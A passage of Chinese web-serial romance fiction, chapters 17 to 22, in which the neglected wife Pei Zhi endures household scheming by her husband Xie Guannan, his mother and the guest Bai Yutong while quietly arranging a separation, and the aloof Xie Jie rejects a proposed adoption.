过了好一会儿,无人上前掀开帐子。谢观南只能坐起身。
唤来青书:“外面什么动静?”
青书脸色有些奇怪:“少夫人一大早就去了佛堂了。刚是搬东西响动,吵到了二爷了。”
谢观南点头,随口问:“狐裘可曾送过去?”
“送了,但是……”青书拿出狐裘袄子,“但是少夫人不要。她说春寒渐消,不需要用到袄子。让二爷自个留着。”
谢观南揉眼的动作便僵住了。
青书捧着袄子,神情有点难堪。裴芷说的话很客气,但他能瞧得出她是已经真的不在意这点示好了。甚至说这话的时候,她的眼神都没落在狐裘上。
而这不知该怎么对二爷说。
谢观南蹙眉:“她没再说什么?”
“没……”青书小声说,但瞧见谢观南冷下来的脸色硬生生拐了弯,“少夫人还吩咐要好好照顾小少爷。”
谢观南眸色松了松:“嗯,她对恒哥儿是挺挂心的。等她从佛堂回来,我再与她好好说说。”
青书暗自松了口气。
过了一会儿,外面下人禀报兰心来了。
谢观南已起身洗漱,了然一笑:“让她进来。”
兰心是裴芷的陪嫁丫鬟,她能来便是裴芷的意思。
一定是裴芷不放心她去佛堂好几日,怕他短了衣衫鞋袜。
自从成婚以来,他身上的衣衫鞋袜都是裴芷找裁缝特制,有些地方还亲自上手缝制。
针脚细密又结实,绣的花色也与外间绣娘做的不一样。都是她亲手绘成花样,然后一针一线绣好。
每次他穿上新衣去国子监当差,同僚们都要赞赏几句。实在是裴芷的女工与众不同。
兰心进屋中来,只觉得气氛与以前不同,不禁紧张起来。
从前裴芷让她送点东西,谢观南是不让她进屋的。大多让青书收了就赶她离开。
而现在谢观南竟然端坐在椅上,亲自见她,十分郑重其事的样子。
谢观南问:“是少夫人让你来的?”
兰心上前递过账册:“少夫人让奴婢把清心苑的账册交给二爷。”
谢观南面上的笑容瞬间消融。半天,他声音略带发紧:“是账册不是其他?”
兰心觉得奇怪,道:“的确是账册。少夫人说,先前库房钥匙交了,账册也已理清楚了……”
“哗啦”一声,茶盏掉落在地上。
兰心吓了一跳,抬眼看去。只见谢观南面色冷凝,地上茶水泼了一地,不知是无意中掉在地上还是摔的。
兰心硬着头皮站着。
良久,谢观南面无表情:“账册你放着吧。无事就回去。”
兰心赶紧应了一声,匆匆走了。
屋中气氛压抑得很。青书赶紧去收拾地上碎了的茶盏。
良久,谢观南问:“她一大早就去了佛堂?”
青书心说不一早就禀报过了,为何又要问一遍。但还是道:“是的。”
谢观南:“说过什么时候回来?”
青书摇头:“小的不知。北正院那边说是七日,但不知道老夫人究竟要几日。以前多几日也是有的。”
谢观南脸色沉沉看着地上的茶渍,良久才冷声道:“好,就让她在佛堂好生待着。”
总有一日她会跪下来哭着求他,而不是大胆悖逆他。
第17章 秦氏的算计
裴芷到了谢府的小佛堂。佛堂很大,四面都是门窗,夜里十分寒冷。佛堂旁的小屋子仅仅够放下一张简陋的床与桌子。
里面都是灰尘和霉味。梅心熟门熟路打扫干净,铺上带来的被褥。
裴芷则坐在佛堂侧面一处窗下抄经。
兰心回来说谢观南生气摔了茶盏。
裴芷手中的狼毫顿了顿,眸色淡淡的:“知道了。”
兰心忧心:“这可怎么办才好?看样子二爷生气了。要是二爷生气了,我们可怎么回清心苑?”
从前二夫人秦氏想方设法找茬罚裴芷,如今惹了谢观南,没人在秦氏面前说好话,更难出佛堂了。
裴芷:“无妨,我会有办法的。”
兰心叹气,她不看好裴芷的合离,只觉得是一时兴起的念头,早晚会重重吃到苦头的。
裴芷抄了一早上的经,北正院却罕见派了两回下人来。
一回是让管事的张嬷嬷拿了日常用的被褥与保暖度的羊羔毛皮护膝毯子。一回是告诉裴芷,恒哥儿想念她亲手做的蛋羹。
前面一回,裴芷让梅心收了被褥。后一回,她对传话的人道:“恒哥儿容易积食,又刚病好,这几日不能吃蛋羹。”
传话的人讪讪走了,回去禀报与秦氏知道。
谢观云正坐在旁边,听见了。
她撇嘴:“母亲何必听她的话?蛋羹哪里不好克化了?按我说她这种没生养过的,硬是装有经验罢了。”
秦氏瞧了她一眼:“你也没生养过,插什么嘴?”
谢观云脸一热,不再说了。
三夫人钱氏正巧来说话,听了道:“这蛋羹的确对小儿不好克化,得等脾胃好点再吃。”
秦氏听了,赶紧让小厨房的人自查一遍,不许纵着恒哥儿想吃什么就吃什么。
又让人拿了平日裴芷亲自写的小儿食谱来看。
小厨房的人拿了过来,秦氏看见小册上密密麻麻写了厚厚一叠。蝇头小字,娟秀中透着力道,足以看出裴芷的用心。
秦氏心绪复杂,默了默,最后道:“按着小裴氏写的食谱做给恒哥儿吃几日。不许让恒哥儿再胡乱吃东西。”
谢观云心里不服气,但奈何她这个侄儿天生体弱,生病又特别折腾,屋里屋外的人都吓坏了。自然是不会听她的。
秦氏又吩咐道:“再派人去传话,就说抄经抄三遍即可,心诚不需要多抄。”
谢观云叫了起来:“母亲为何要给她减免?她……”
秦氏瞪了她一眼:“你懂个什么?若她不出来,恒哥儿你照顾不成?你还要不要母亲活。”
谢观云讪讪噤了声,突然她想起一事,笑道:“对了,母亲。玉桐姐姐今日要过来做客,要小住好几日呢。母亲可让人准备好院子了吗?”
秦氏想起这事,舒展了笑容:“都让人准备好了。在绛雪阁,与你是隔壁。”
她感叹:“玉桐小时候时常过来陪我。要不是她回了锦州,也不至于……”
在座的当然明白秦氏真正可惜的是什么。若不是白家最近一年有了一位在后宫得宠的嫔妃,秦氏也不会惋惜与白家的亲事没成。
人啊,总是既要又要还要的。
谢观云十分满意:“绛雪阁挺好的。这次我定要留玉桐姐姐多住几日。”
等这几日寒雨过后,就连着有好几个好玩的节日。
谢观云还未及笄,满脑子盘算的都是玩乐。只要白玉桐在,她就能让谢观南带着她们四处游玩。
正说着话,下人道谢观南回府了。
秦氏奇怪道:“怎么才当了半天值?不是国子监最近要修书,忙得很吗?”
下人:“听二爷身边的人说,二爷请了假回来的。”
谢观云拍手道:“一定是哥哥迫不及待去接了玉桐姐姐来,连差使都不管了。”
秦氏心里觉得奇怪。谢观南不是怠慢差使的人,怎么突然早早回家了。
谢观南前来,果然身边跟着白玉桐。
谢观云自然是欣喜无比,拉着白玉桐说说笑笑。秦氏也吩咐下人去张罗准备,还拨了身边两个得力丫鬟伺候。
谢观南突然道:“母亲,我这几日回清心苑住。”
秦氏不以为意:“清心苑没什么人,你回去做什么?”
谢观云皱眉:“哥,你住外间书房好好的,回去做什么?”
清心苑虽然宽敞些,但却在第三进深院中,出入不太方便。住在外间大书房,离绛雪阁更近些。
谢观南没解释,对白玉桐道:“我带你去绛雪阁瞧瞧,有什么该添置的,一并添置了。”
白玉桐羞赧,起身柔柔道:“好。”
两人并肩出去,男的清雅端方,女的娇小窈窕。远远看去十分般配。
秦氏笑了笑:“倒是一对璧人。”
三房与四房相视一眼,笑道:“是呢。二爷才学过人,前途又好,今年应该升国子监博士了。”
“说起来在宫中的白家那一位娘娘,也是见过二爷还称赞过的。要是她能帮衬下,二爷说不定……”
秦氏听了这话,不悦道:“不用靠别的家,若是大爷那边肯在圣上面前说一句,顶得别的人说一百句。这京城还有谁家比我们谢家更好的不成?”
三房钱氏立刻道:“是极是极。瞧我这脑子,如今这满朝文武哪位大臣能有大爷说话管用?论圣宠,大爷排第二,谁都不敢说第一。”
四房李氏:“是呀。圣上极重孝道,淑太妃从前养过圣上。淑太妃又与大爷是亲姑侄。依我看,大爷封侯是早晚的事。”
“若是大爷封侯了,我们旁支也能跟着沾好大的光。自然是不用靠旁人。”
秦氏听着三房与四房的奉承,心里又得意又不安。
得意的是,谢家大房人丁不盛,大房肯定最后会依靠其他几房。而其他几房中只有谢观南出息,所以最后好处肯定要落在她这二房这边。
不安的是,她是想得极好,但随着谢玠圣宠日隆封了侯爷之后,也许会被赐婚。
圣上若是赐婚,破了谢玠天煞孤星的传言。她打的算盘就全落空了。
想着,秦氏决定得时常抱着恒哥儿去大房那边走动。叫大房那边好好看看恒哥儿玉雪可爱,聪明伶俐,兴许就动了过继的心思呢。
事在人为,秦氏觉得自己想得很是周到,大房没理由拒绝恒哥儿。
第18章 求画,不给
裴芷没想到在冷僻的佛堂反而遇到了不速之客——谢观南领着白玉桐“无意中”逛到了这里。
裴芷皱起秀眉,将刚写好的几封信悄悄收了起来。这才迎了出去。
白玉桐今日着一件葱绿色绣梨花长裙,上身着月白色短襦,脖子上一圈白狐围脖。围脖毛茸茸的,越发衬得她的脸娇嫩如春花。
她见裴芷出来,一愣,旋即展颜笑道:“没想到裴姐姐在这里参佛呢。”
裴芷与她打了招呼,问谢观南:“二爷怎么到了此处?”
谢观南神情复杂看了她一眼。
一件去年的合欢红绣石榴百褶长裙,上身着一件蔑黄色绣如意纹长衣,纤纤细腰束着一条同色同心结。
身上配饰极少,只有如云发间簪了一根十分简朴的梅花银簪。
比起白玉桐全身簇新的衣裙,裴芷穿的衣衫又陈旧又单薄。只是她肤白如雪,容色又美,穿着素净但一丝不苟的,并没有失了少夫人的体面。
他这个时候才想起,成婚三年自己从未送过裴芷一件珠钗首饰,而白玉桐只刚刚回京,他昨儿就送了一套价值不菲的翡翠头面。
不过转念一想,谢府中什么都有。裴芷应该也不缺。她也从未向自己要过,应该是不会计较这些小东西。
不像白玉桐,这些年在锦州估计过得十分委屈。他多补偿点玉桐,裴芷应该不会吃醋。
裴芷等了半天没听见谢观南的回应,略显疑惑抬眸看向他。
谢观南眸色凝了凝,道:“玉桐来谢府小住几日,我带她熟悉下府邸。”
裴芷点了点头,对白玉桐道:“白小姐请自便。我去抄经了,恕无法款待。”
她转身要走。
谢观南声音冰冷,拔高了几分:“这便是你的待客之道?!我知晓你不愿见玉桐,但她今日既是客,你是主人,不要失了谢府的体面。”
裴芷微微拧眉。
佛堂那么冷僻,他们两人竟能特地寻来,又要她招待白玉桐,所以到底是谁失了体面?
她不愿与谢观南起了争执,回身温声道:“佛堂简陋,没什么可招待白小姐的。要不白小姐与二爷一起移步到清心苑中喝茶?”
白玉桐看看谢观南,再看看裴芷。
她笑道:“裴姐姐要不要一起去?”
裴芷摇头:“我在此祈福抄经,没抄完是不能离开的。”
她对谢观南淡淡道:“二爷招待好白小姐,妾身的确没空。还望二爷不要怪罪。”
说完,转身进了佛堂。
白玉桐瞧见裴芷坦然自若地跪坐在蒲团上垂眸念诵。
佛堂中檀香袅绕,女子跪诵垂眸。玉雪般的面上宁静祥和,竟有悲天悯人的神性。
裴氏双姝本就是名声在外的美人。裴芷只是并没有特地打扮而已,并不是说她的美就能让人忽视。
心里默默滋生出异样的嫉妒,白玉桐回头,委屈低头:“观南哥哥,你的续弦夫人不喜欢我。”
她伤心:“要不我还是早些走吧。”
谢观南想起那日叫裴芷道歉,一向温顺的女人竟然犟着不肯低头。
他眸色沉了沉,对白玉桐道:“她不是不喜欢你,她对谁都这样。你别多心。”
白玉桐面上的委屈神情僵住,几乎不敢信自己听到的。
谢观南这是为里头被罚诵经的裴芷找理由开脱吗?
明明打听到的,都说小裴氏嫁入谢家是如何受秦氏磋磨,谢观南又是如何不放在心上。
难道打听来的事都是假的?
白玉桐原本信心满满,现如今竟起了一点点动摇。
她不死心,挤出笑:“观南哥哥不要安慰我了。裴姐姐定是怪罪我毁了她心爱的画。要不,我赔她一副?”
谢观南心中想别的事去了,闻言随意点头:“好。那画儿她挺喜欢的,毁了的确是难过。玉桐妹妹如此体贴,她一定会知道你的好。”
白玉桐:“……”
谢观南没注意到白玉桐的眼神,突然想到了什么,眼神亮了。
他转身大步离开,白玉桐只能赶紧跟着去了。
……
松风院中,一道清冷至极的身影躺在窗边软榻上。那人胸腹以下盖着一条绀青色锦面薄衾,墨色的长发随意散在身边。
他眉心微蹙盯着手中的册子,一双眼瞳似浸在冰泉中的墨玉,微微转动间便是暗涌滔滔。
身上白色长衫垂落如月辉倾泻,清冷至极。
奉戍走了过来,见他这般,心里无奈叹气。
“大人,二公子求见。”
“何事?”
谢玠眸光未动,只是淡淡又翻了一页。
奉戍:“求画而来。”
谢玠没吭声。
奉戍:“二公子说想求大公子书房中一副南山狂客的墨宝,他可以出千金来换。他还说这次来得唐突,若是大公子不愿割爱,别的名家墨宝也行。他只是诚意求画而已。”
谢玠又淡淡翻了一页,头也不抬:“不给。”
奉戍点了点头,打算出去了。又想起了什么,他回头低声劝:“大人当真不要紧吗?那毒实在是太厉害了,要不要让属下再去寻名医?”
谢玠眸光终于从册子上抬起。
如玉雕的面颊上隐约有两抹不正常的红,将他冷峻至极的面上多添了几分妖冶之色。
他淡淡道:“不必了。”
奉戍知道自己劝不动,出声提醒只是因为这毒太不同寻常了。早上竟逼得谢玠吐了一口黑血。
这才破天荒让人进宫面圣告了病假,在府中歇息。
皇帝知道谢玠病了,一连派了两三位太医来看诊。只不过都是悄悄来,生怕别人知道。
奉戍走了。
谢玠看了一会儿册子,坐起身。
突然他眉心一蹙,神色骤冷,抬头看向了窗外不知名的远处。
……
裴芷让梅心在佛堂后边杂草丛生的院中架起了药鼎。兰心也来帮忙。很快,药鼎弥漫出浓浓药香来。
梅心高兴道:“没人打扰,正好趁着这几日一并都做了这批药丸,”
裴芷露出浅笑。
济世堂的掌柜人很好,还十分信得过她,时常从她手中收自制的药丸。掌柜的说她的药丸卖得很好,经常有大客预定。
昨日她就收到消息掌柜的消息,要她再赶制一批驱热毒散淤血的药丸,说是有贵人指名要她做的。
那贵人出的价高,要得急,裴芷这才把主意放在了佛堂后边的庭院。
第19章 差点被毁容
裴芷仔细分拣了药材,吩咐了熬药的时辰便回佛堂中了。
手中有三封信,三封信关系她的将来。
但愿她能如愿吧。
从小到大,她从未为自己争取过任何东西。小时候,母亲就教导她必须谦让着体弱的长姐。及笄之后,又要为长姐承担她被中断的责任。
而现在,她发现无法继续走下去了。
因为那不是她的人生,也不是她该承担的。
裴芷招来兰心,吩咐了一番。兰心将信放在贴身的衣袋中,道:“趁着还没天黑,奴婢去找人送。”
说着,兰心便走了。
远处高高的飞廊中,一双漆黑深眸将小小佛堂一切动静都收入眼中。
眼见女子让丫鬟送完信后,就走到了后院。一锅沸腾的药汤黑漆漆的,上下翻滚。
素衫女子俯身搅动药汤,长衣垂落,露出纤细如柳的腰身。她掏出怀中一个瓷瓶,将不知名的药粉撒入药汤中。
男人墨色的眼眸中流露一丝冷色,转身走入渐浓的暮色中。
……
第二日一早,裴芷刚用完素斋就瞧见白玉桐来了,身后还跟着面色冷沉的谢观南。
她整了整衣衫出去迎。
如今不知道谢观南什么意思,她也不好当着白玉桐的面上问合离之事。总之先混过这些日子便是。
白玉桐今日换了一件簇新衣裳,春草绿百褶长裙,身上是一件极鲜嫩颜色的杏色长衣,腰间是精致的同色腰带。
人衬衣衫,一如既往如花般娇嫩。特别是她身上一整套水头很好的翡翠头面首饰,盈盈碧绿,十分灵动。
白玉桐亲热握住裴芷的手:“裴姐姐,你瞧我这翡翠首饰好不好看?是昨日观南哥哥送我的。听说这可是宝凤坊今年最时兴的样式。”
裴芷看向谢观南。谢观南张了张口想解释,突然瞧见裴芷并不讨好的眼神,瞬时冷了脸转过头去佯装没听见。
裴芷垂下眼帘,心中已毫无波澜。
甚至心中生出一丝渺小的希望。看样子谢观南很喜欢白玉桐,而白玉桐这般明媚无拘束的少女,应该也是对他有意的吧。
两人若是真的旧情难忘也是好的,起码谢观南能与自己体面合离。
所以,裴芷带了诚恳:“很衬白小姐的肤色,样式也活泼。二爷的眼光好。”
谢观南听了,眸色缓和。
小裴氏还是识大体的,总算不会做那等深宅妇人争风吃醋的那套让他厌恶。
白玉桐笑眯眯摆弄水滴形翡翠耳坠,耳坠一晃一晃的好似春波粼粼。
她问:“观南哥哥一定也给裴姐姐买了不少好看的首饰。裴姐姐怎么不戴出来?”
裴芷看去,白玉桐杏眼里藏着浅浅的讥讽。
带有敌意的明知故问,她看得懂。
裴芷默了默,才道:“来佛堂祈福抄经不方便戴,都在清心苑中呢。”
白玉桐见她平淡如水的样子,越发觉得她可怜又可笑。到了这个时候还在替夫君遮掩,若是她早就闹翻了天。
不过眼下裴芷这般安静体面,不是她想要的。
白玉桐摘了耳坠,笑吟吟往裴芷耳边比画去。
她一边比,一边玩闹似的笑道:“裴姐姐,我瞧着你肤色也是极白。戴着翡翠肯定也美。你试试这耳坠子。若是好看,叫观南哥哥给你也买一副。”
裴芷不知白玉桐要做什么,只见白玉桐不住靠近,手中的翡翠耳坠直直朝着自己的脸来。
下意识她头偏了偏,想躲开。
她一向爱洁,一定不会用旁人用过没清洗的东西。
白玉桐的耳坠子从白玉桐的耳朵上摘下来,直直就要挂上她的耳垂,这是无法容忍的。况且这耳坠是自己夫君为了讨好别的女人,花重金买下。
她若是戴上了,岂不是可耻可笑?
裴芷没躲开,只觉得脸颊上传来剧烈的刺痛。她闷哼一声,还没看清楚发生了什么事,只是下意识手推开。
白玉桐突然往旁地上一倒,痛呼:“裴姐姐你……你推我做什么?”
谢观南脸色一变,赶紧上前抱起白玉桐:“怎么回事?”
白玉桐双眼蓄着泪,摇头:“我没事,观南哥哥千万不要怪罪裴姐姐。”
谢观南脸色极难看,抬头呵斥:“裴芷你太过分了。玉桐心性纯良,只是想与你说话亲近,你为什么非要……”
他的呵斥戛然而止,呆愣看向裴芷。
只见她如玉雪似的脸颊边一道刺目的血痕,血珠子顺着脸颊往下巴滴落。
原来是刚才白玉桐耳坠的钩子划伤了她的脸。就差一点点入了肉,毁了容。
裴芷摸了摸脸颊,看了一眼,都是血。
梅心惊呼一声,赶紧扶着她,心疼无比:“少夫人赶紧去敷药,兰心快去拿药粉。”
谢观南见她半边脸染了血,不自然替白玉桐辩解:“想必刚才玉桐只是手滑不小心,若是刚才你不大惊小怪怎么会划伤自己?你,你没事吧?”
裴芷没看他也没说话。让兰心拿了干净的帕子蘸点盐水擦干净脸,然后取了点药粉擦上。
白玉桐像是做错事的小孩,缩在谢观南怀中,怯怯道:“观南哥哥,我闯大祸了。裴姐姐一定恨死我了。”
她抽泣起来,肩一耸一耸的。
谢观南此时心中有点烦乱。他本想亲自过去瞧裴芷的伤势,但白玉桐紧紧扒着他的手臂,让他动弹不得。
他也只好先顾着白玉桐。
裴芷处理好脸上的伤,回头静静瞧着抱做一团的这对男女。
挺可笑的,自己受伤了,夫君抱着安慰的却是另一个女人。
谢观南瞧见她清冷如霜雪似的眼神,后知后觉发现自己与白玉桐搂抱着。
他稍显仓促推开了白玉桐,清了清嗓子:“玉桐伤了你也很害怕,你就不要与她计较了。”
白玉桐失了他的怀抱,眼底掠过不甘心。
她捏着帕子垂眸哽咽:“裴姐姐,我错了。我自小笨手笨脚的,观南哥哥最是知道。我真不是故意的。你就原谅我这一回吧。”
裴芷依旧没说话,只是瞧着站在面前的两人。
这一刻她突然明白了什么叫做厌倦到了极致。事情明明摆在面前,她一个字都没说,对方就逼着她吞下委屈。
若是她争执几句,那便是不懂事,不顾体面,一点都不大度。
诸多罪名扑了过了,像从前一般将她淹没得没法呼吸。
第20章 没有下一次了
累了,倦了。
连一个字都不想与这个男人多说。
可她也心知,哪怕不说话也是一种罪过。
果然,谢观南面色变了变,面色冷了下来:“小裴氏,你这是什么意思?玉桐这般低声下气与你道歉了,你还有什么怨怼的?难道要她跪下来与你赔罪,才肯原谅她吗?”
白玉桐闻言得了提醒,好似下了决定。
“扑通”一声,她跪下,委屈又坚强:“裴姐姐,你一定是气急了。我这就给你跪下磕头道歉。”
说着,她当真“砰砰”磕了三个头。
谢观南又惊又怒:“小裴氏!你当真要如此吗?!为什么要让玉桐给你磕头?”
裴芷冷冷清清瞧着面前这一对男女,特别是谢观南那脸色带着愠怒,与平日冷清从容的神色完全是两个人。
原来她的夫君也是有喜怒哀乐的,只是不屑于将情绪都表露给她罢了。
她露出一丝冷冷讥讽:“二爷这般紧张,我当以为白小姐才是您心爱的女人,而我是个不懂饶恕别人的毒妇。”
谢观南一愣。
裴芷垂眸看向白玉桐那张梨花带雨的脸,淡淡道:“白小姐,我可没开口让你磕头。不过你方才差点毁我的容,现如今又是下跪又是磕头赔罪。我念你初犯,暂且原谅你的过失。”
“没有下一次了。”
说罢,她对梅心道:“佛堂简陋,替我送一下贵客。”
说完,转身进了佛堂后面。
谢观南与白玉桐被“请”出佛堂时,几乎不相信方才听见的话是出自裴芷之口。
印象中只会对他低眉顺眼说好的女人,何时听过她说过这么犀利夹枪带棒的话。
白玉桐亦是不敢相信:“观南哥哥,你方才听见了吗?她,她居然说没有下一次了。”
谢观南抿紧薄唇,脸色异常难看。
白玉桐见他没回答,于是强压心中愤愤,柔声道:“观南哥哥,对不起。我总是把事越办越糟,裴姐姐肯定恨极了我。我有些害怕,我害怕裴姐姐会不会针对我……”
“观南哥哥一定要护着我。”
她红了眼眶,低头擦拭不存在的眼泪。
等了半天却没听见谢观南开解,她疑惑抬起头,身边却早就没了人。
白玉桐仓促寻人,只瞧见谢观南愤然离去的背影。
……
裴芷脸上的伤幸好只是划破了表面。处理及时,又因为身边带着药粉,很快止了血。养一养伤,再涂点祛疤的药膏应该不会留痕。
兰心心有余悸:“幸好少夫人躲了一下,不然脸就毁了。”
梅心气得双目通红:“这白小姐太过恶毒了。少夫人在佛堂抄经,她竟然巴巴过来找事。欺人太甚!”
裴芷放下铜镜,问:“信送出去了吗?”
兰心点头:“送出去了。”
裴芷轻吁了一口气,眉间落了淡淡倦色。信送出去就好。不日应该有人替她主持公道。就算不能真正帮她,也许能看在故去父亲的面上为她说两句。
裴家几代累积下来的人脉,用在这等小事上面也是没办法的事。
她从未像这一刻那么迫切想要与谢观南合离,想要逃离这个窒息的地方。
到了晚间,北正院又来了人。
是一位看外伤的大夫,张嬷嬷陪着一起。
大夫看了裴芷脸上的外伤,吩咐三日不要碰水,不要包着,勤涂药膏便不会留疤。
张嬷嬷扫了一眼清冷的佛堂,对裴芷道:“老夫人已经说过二爷了,少夫人千万不要挂在心上。千万不要因一点小事闹得夫妻情分受损,毕竟还有个恒哥儿呢。”
“恒哥儿这两日睡醒了都在念着要少夫人去陪他玩呢。”
裴芷静静听着,没接话茬。
张嬷嬷偷偷瞧她的脸色,见她不喜不怒的样子,只觉得棘手。
她是来当说客的,二夫人的原话是先稳住小裴氏,千万不要在这个节骨眼上闹起来。
恒哥儿体弱,先前腹痛好了后,昨儿又着凉咳嗽。秦氏还盼着裴芷从佛堂回来后,赶紧将恒哥儿抱走。
秦氏是高门大户出来的娇贵姑娘,嫁入谢府后养尊处优,并没有真正养过孩子。再者谢观南小时候也没那么体弱多病,到了恒哥儿这代才叫秦氏吃了苦头。
张嬷嬷见裴芷如此,心里泛嘀咕,又让人拿来了燕窝和雪蛤等补品。
她道:“老夫人虽看着严厉,实则心里还是疼少夫人的。你瞧,这些都是老夫人从自己私库中拨来的补品。”
裴芷看了一眼,道:“婆母不用如此费心,这些东西请嬷嬷带回去。我这只是小伤而已,过几日就好了。”
张嬷嬷愣了一瞬,心中有了愠怒。
从前秦氏对裴芷苛刻,是阖府都知道的。没办法,谁叫裴家不得势了呢?如今做婆母的主动示好,怎么做儿媳的竟然不买账?
难道就因为养了小少爷,仗着小少爷离不开她,所以居功自傲了不成?
张嬷嬷口气冷了下来:“少夫人,这可是老夫人的一片心意。你推了回去,难道不怕老夫人生气?”
“佛堂清苦,难道你就不想早点出来?”
裴芷抬起黑白分明的眸子,依旧淡淡的:“我没有犯错,婆母怎么会生气?再说婆母身子也不太好,这些补品婆母留着自己用更好。”
张嬷嬷这才迟钝想起,秦氏经常吃的益气丸也配不齐药材。
她皱眉:“少夫人,还有一事与你说。济世堂的回口信说,益气丸中的一味药材需得从岭南进,路途遥远,这次是配不齐了。”
裴芷“哦”了一声,道:“那就找个大夫用别的药材代替吧。也不是什么特别难的事。”
张嬷嬷听了这话,不知该怎么接下去。
她好心给裴芷递了好几次梯子,但凡裴芷顺着话头求一求,服个软说两句好话,这次差使就成了。
可偏偏裴芷就像是坏了的木偶似的,不管抽几下都纹丝未动。
张嬷嬷憋着一肚子闷气走了。
梅心忍不住上前问:“要不让奴婢前去与张嬷嬷说两句好话?张嬷嬷是老夫人面前得脸的管事婆子,她来应该是得了老夫人的意思。”
她不明白,明明刚才那么多次机会,只要裴芷放下身段求两句。秦氏那边就能让她出了佛堂。
第21章 过继一事
裴芷正在药瓶上写字,头也不抬,嗓音淡淡的:“你不用管。”
秦氏让人来给她下台阶不过是因为恒哥儿需要她。指望她回去和从前一样任劳任怨照顾恒哥儿,她才好脱手轻省。
人啊,就是这样。
需要用的时候百般讨好,用顺手了又打心眼瞧不起她。
这手段谢家母子三年前就施展过一次了,她只是善良又不是真的傻。不会再让人利用第二次。
另一边谢府北院中,谢玠难得陪着父亲与母亲陈氏一起用了晚膳。
世族大家讲究“食不言寝不语”,是以一桌子的美味佳肴,吃得分外沉闷。
陈氏看着被圣上盛赞“姿容俊美”“鹤骨松风”的儿子一脸淡漠地用着饭,只觉得悲从中来。
她的儿子谢玠是全京城,乃至全天下数一数二的贵公子。
以谢家的家世与门楣,说一句“王孙公子”都不为过。他不但才学满腹,十六岁就中了三元,御笔钦点进了翰林院。
这几年皇上交代的差使他办的可是滴水不漏,屡次得皇上嘉奖。可偏偏在姻缘上如此艰难。
谢玠放下筷子,扫了一眼父母亲略显寂寥的脸色,心知又要一场说教。
他起身:“我还有些事要让奉戍办,先走了。”
陈氏张了张口正要挽留,谢父倒是先她一步,道:“去书房与我喝个茶。有事与你说。”
谢玠微微蹙眉,但还是跟着谢父一起去了书房。
父子两人沉默喝了一盏茶后。谢父将事情说了,看向他。
“算命的说恒哥儿出生体弱,因八字与其父谢观南有小冲,想借你的八字替他挡一挡病厄。二房意思是要将恒哥儿过继在你名下,你意下如何?”
“只是记在你名下,不需要大房亲自教养。”
“再者,你名下有儿子后,姻缘这一关的难处兴许就能解了。”
书房中没半点声音,寒气顺着半开的窗缝钻了进来。丝丝冷意都沁入了骨缝里去。
谢父不由伸手拢了拢锦面长袄上的水貂毛脖领,纳罕怎么的突然就冷了呢?
他打量谢玠的脸色。
谢玠不紧不慢地端起青瓷抿了口凉掉的茶,垂眸看着茶盏中沉浮下去的茶叶。他的手指修长,又秀如莲花。
懒洋洋搭在上好的青瓷上,一时间竟不知要看哪个。
谢父静静等着他回话,心下却是忐忑的。
良久,谢玠撩眼看了父亲,一双微挑的眸中含着深深的讥诮。
“父亲,我当您唤我过来是有什么天大的事要说。等了半日,你竟只有与我说这个?”
谢父摸了摸剪得十分风雅的胡子,叹了口气:“你不同意?”
虽是问句,但已知道结果了。
谢玠垂眸,掩下眼底厌烦:“这小事父亲自行搪塞回绝。我回去了。”
谢父欲言又止。
谢玠走出去两步,复又回头。黑漆漆的眼瞳中没有半点温度,只有冷到了极致的淡淡杀意。
“想做我的儿子,八字怕是得硬不止一点点。他们能想到这作死的路上,倒是要赞一句勇气可嘉。”
谢父面色瞬间难看。
谢玠走后许久,陈氏走了进来,问:“玠儿答应了吗?”
谢父黯然摇了摇头,将谢玠临走前的话说了。
陈氏面色苍白,捂着心口跌坐在椅上,半天才道:“冤孽!这孩子……”
谢父叹气无奈:“你又不是不知他那性子。从小与我们就不亲近,想要让他做什么,除非他乐意,不然是半点都压制不了。”
“如今得了圣宠,本事更大了。他说不成婚,那便是不成。谁能有他办法?”
“就算皇帝赐婚,约莫他也是敢抗旨的。”
……
谢玠出了书房,往松风院走去。忽地,前面回廊有一位姿态雍容,满身锦缎的中年妇人朝着这边路而来。
而她身边有丫鬟婆子仔细抱着一位大约五六岁的男孩。
中年贵妇人见到谢玠,呆愣片刻便带着狂喜行礼:“见过大爷。”
谢玠认出此人,是旁支二房的当家主母秦氏。按辈分他应该叫她一声二堂婶。只不过在世家大族中,大房的地位太过尊荣又大部分有官职或爵位在身。
是以秦氏虽然辈分大,但碰见了还得恭敬拜见他。
谢玠微微颔首算是回了这个礼。
秦氏紧张万分瞧着面前冰山似的谢玠。
这位大房大爷是真的难得一见。素日里日理万机,还得奔波各地去查案办差。谢氏旁支也就每年在过年那几日家宴时,远远瞧上一眼说两句吉祥话而已。
所以她冒着大不韪,特地打听了谢玠在府中才匆匆来。
谢玠抬步准备离开。
却不料,秦氏突然开口:“大爷,您一定许久没见过恒哥儿吧?”
她抱过恒哥儿,笑吟吟说:“恒哥儿,快见过你的大堂伯爷。快,给伯爷磕头请安。”
谢玠垂眸,冷冷瞥了一眼不情不愿跪地磕头的小男娃。
男娃很瘦,能看出身子自小虚弱。又约莫是病了,脸上有不正常的红。
恒哥儿在乳母的教导下不情愿磕了个头后,就闹着要起来要抱。
秦氏此时激动得心都要跳出来了,难得大爷能驻足停留,这可是千载难逢的机会。
“大爷,恒哥儿今,今年六岁了。他可聪明伶俐了……”
她结结巴巴要在谢玠面前夸恒哥儿,但搜刮肚肠却发现恒哥儿乏善可陈,竟没有一点可以用来夸赞的地方。
她总不能说,恒哥儿长得好看吧?
恒哥儿长得再好,能好看过谢玠?
谢家的儿郎本就长得好,谢玠更是个中翘楚,甚至是皇帝都夸过的容貌。她若是硬夸倒像是班门弄斧,让人见笑。
秦氏尴尬站着。她应该在此时识趣告辞,但却又舍不得这个机会。
突然,恒哥儿大闹起来:“我要回家!我要母亲,母亲……呜呜……”
秦氏慌了:“好好,就回去。”
乳母去抱恒哥儿,恒哥儿小手胡乱挥舞:“不要你,母亲,母亲……”
乳母的脸上被孩子的手不知轻重打了好几下,打得眼泪都冒了出来。这边登时一团乱七八糟,秦氏尴尬得差点想钻进地缝里去。
谢玠唇边勾起冷笑,冷冷拂袖走了。
第22章 裴母突然到访
身后,低声呵斥传来。
“真是蠢笨,一个小孩子都哄不住。要你们何用?”
“二夫人恕罪,小少爷离了少夫人肯定闹腾。孩子最是认人。”
“胡说,小裴氏照料得好好的,到了你们这些人手上就把恒哥儿照顾得生病了……”
乱七八糟的斥责渐行渐远。全是妇人们絮叨的怨怼与责骂。
谢玠耳力很好全都听见了。
他脚步不停,面色无波澜,这些事于他来说不过像是行至路边偶尔被雨水砸了一下,压根没放在心上。
